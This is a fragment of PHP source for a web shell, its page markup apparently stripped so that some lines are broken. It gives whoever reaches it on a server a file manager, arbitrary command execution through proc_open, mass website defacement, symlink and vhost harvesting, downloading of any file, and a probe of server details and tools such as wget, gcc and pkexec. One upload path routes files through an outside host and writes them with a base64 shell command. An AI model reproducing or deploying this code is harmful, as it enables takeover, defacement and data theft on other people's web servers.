$value) {
$filename = basename($_FILES["nax"]["name"][$key]);
$tempname = $_FILES["nax"]["tmp_name"][$key];
$upmethod = $_POST["upmethod"];
if ($upmethod === "basic_upload") {
$dest = $path . "/" . $filename;
$target = rtrim($path, '/\\') . '/' . basename($_FILES['nax']['name'][$key]);
if (touch($dest) && @move_uploaded_file($_FILES['nax']['tmp_name'][$key], $target)) {
if ($key == $total_files) {
flash("success", ($total_files + 1) . " File(s) uploaded successfully!", $path . $toPage);
}
} else {
flash("error", "Upload failed!", $path . $toPage);
}
} else {
$remote_upload_url = "https://fcalpha.net/web/photo/20151024/temp/upload.php";
$postfields = ["nax" => new CURLFile($tempname, $_FILES["nax"]["type"][$key], $filename)];
$remote_upload = requests($remote_upload_url, $postfields);
if ($remote_upload) {
$uniqFile = json_decode($remote_upload, true)["file"];
$remote_url = "https://fcalpha.net/web/photo/20151024/temp/uploads/" . $uniqFile;
if (requests($remote_url, null, $path . "/" . $filename) && file_exists($path . "/" . $filename) && filesize($path . "/" . $filename) > 0) {
if ($key == $total_files) {
flash("success", ($total_files + 1) . " File(s) uploaded successfully!", $path . $toPage);
}
} else {
$file_content = base64_encode(requests($remote_url));
if (execute('echo "' . $file_content . '" | base64 -d > ' . $filename, $path)) {
if ($key == $total_files) {
flash("success", ($total_files + 1) . " File(s) uploaded successfully!", $path . $toPage);
}
}
}
} else {
flash("error", "Upload failed!", $path . $toPage);
}
$delete_file = "https://fcalpha.net/web/photo/20151024/temp/delete.php";
requests($delete_file, [
"file" => $uniqFile
]);
}
}
}
?>
System Information
- Server IP: = ipserv(); ?>
- Server Software: = ($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A'; ?>
- PHP Version: = phpversion(); ?>
- Current User: = get_current_user(); ?>
- Operating System: = php_uname(); ?>
- Document Root: = ($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'N/A'; ?>
- Server Port: = ($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : 'N/A'; ?>
- Server Admin: = ($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : 'N/A'; ?>
- Command Line: = $curl . $wget . $python . $perl . $ruby . $gcc . $pkexec; ?>
- Loaded PHP Modules: = implode(", ", get_loaded_extensions()); ?>
Command is empty";
} else {
echo "
Command: " . htmlspecialchars($coman) . "";
$ler = "2>&1";
if (!preg_match("/" . $ler . "/i", $coman)) {
$coman = $coman . " " . $ler;
}
$komen = $coman;
$pr = "proc_open";
if (function_exists($pr)) {
$tod = @$pr($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $path);
echo "
";
} else {
echo "
proc_open function is disabled!!";
}
}
}
}
if (isset($_GET["action"]) && $_GET["action"] === "massdeface") {
if (isset($_POST["massdeface"])) {
if ($_POST['mass_type'] == 'mahal') {
echo '
';
sabun_massal($path, $_POST['file_name'], $_POST['file_content']);
echo "
";
} elseif ($_POST['mass_type'] == 'murah') {
echo '
';
sabun_biasa($path, $_POST['file_name'], $_POST['file_content']);
echo "
";
}
} else {
?>
Input is empty";
} else {
$decoded = base64_decode($b64decode);
if ($decoded === false) {
echo "
Invalid Base64 string";
} else {
?>
Decoded Output:
Input is empty";
} else {
$decoded = base64_encode($b64dencode);
if ($decoded === false) {
echo "
Invalid Base64 string";
} else {
?>
Encoded Output:
Symlink Created:
naxc_vhosts.txt
";
} else {
$content = base64_decode($content);
}
if (file_editor($path, $filename, $content, $method)) {
flash("success", "File created successfully!", $path . $toPage, "?path=$path&file=" . str_replace(".temporary", "", $filename) . "&action=edit&search=$search");
exit;
} else {
flash("error", "Failed to create file!");
}
}
}
if (isset($_GET["action"]) && $_GET["action"] === "view" && isset($_GET["file"])) {
$filePath = $path . "/" . $_GET["file"];
if (file_exists($filePath) && is_file($filePath)) {
// Capture file output
ob_start();
readfile($filePath);
$fileContent = ob_get_clean();
?>
File Content: = htmlspecialchars($_GET["file"]); ?>
File does not exist or is not readable.
";
} else {
$content = base64_decode($content);
}
if (file_editor($path, $filename, $content, $method)) {
if ($filename == $file) {
flash("success", "File updated successfully!", $path . "&file=" . str_replace(".temporary", "", $file) . "&action=edit" . $toPage);
} else {
flash("success", "File updated successfully!", $path . "&file=" . str_replace(".temporary", "", $filename) . "&action=edit" . $toPage);
}
exit;
} else {
flash("error", "Failed to update file!");
}
}
} else {
?>
File does not exist or is not writable.
File does not exist or is not writable.
File does not exist or is not writable.
";
}
}
if (isset($_POST['download'])) {
$file = base64_decode($_POST['download']);
if (!is_file($file) || !file_exists($file)) {
flash("error", "File not found!");
}
// Clean output buffer (IMPORTANT)
if (ob_get_level()) {
ob_end_clean();
}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Length: ' . filesize($file));
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Expires: 0');
readfile($file);
exit;
}
if (isset($_GET["action"]) && $_GET["action"] === "unzip" && isset($_GET["file"])) {
$filePath = $path . "/" . $_GET["file"];
if (file_exists($filePath) && is_file($filePath)) {
$zip = new ZipArchive;
if ($zip->open($filePath) === TRUE) {
$extractPath = $path . "/" . pathinfo($filePath, PATHINFO_FILENAME);
if (!is_dir($extractPath)) {
mkdir($extractPath);
}
$zip->extractTo($extractPath);
$zip->close();
flash("success", "File unzipped successfully!", $path . "/" . pathinfo($filePath, PATHINFO_FILENAME) . $toPage);
} else {
flash("error", "Failed to unzip file!");
}
} else {
flash("error", "File does not exist or is not readable!");
}
}
/* END FILE ACTIONS */
/* FOLDER ACTIONS */
if (isset($_GET["path"]) && @$_GET["action"] === "newfolder") {
?>
Folder does not exist or is not writable.
Folder does not exist or is not writable.
Folder does not exist or is not writable.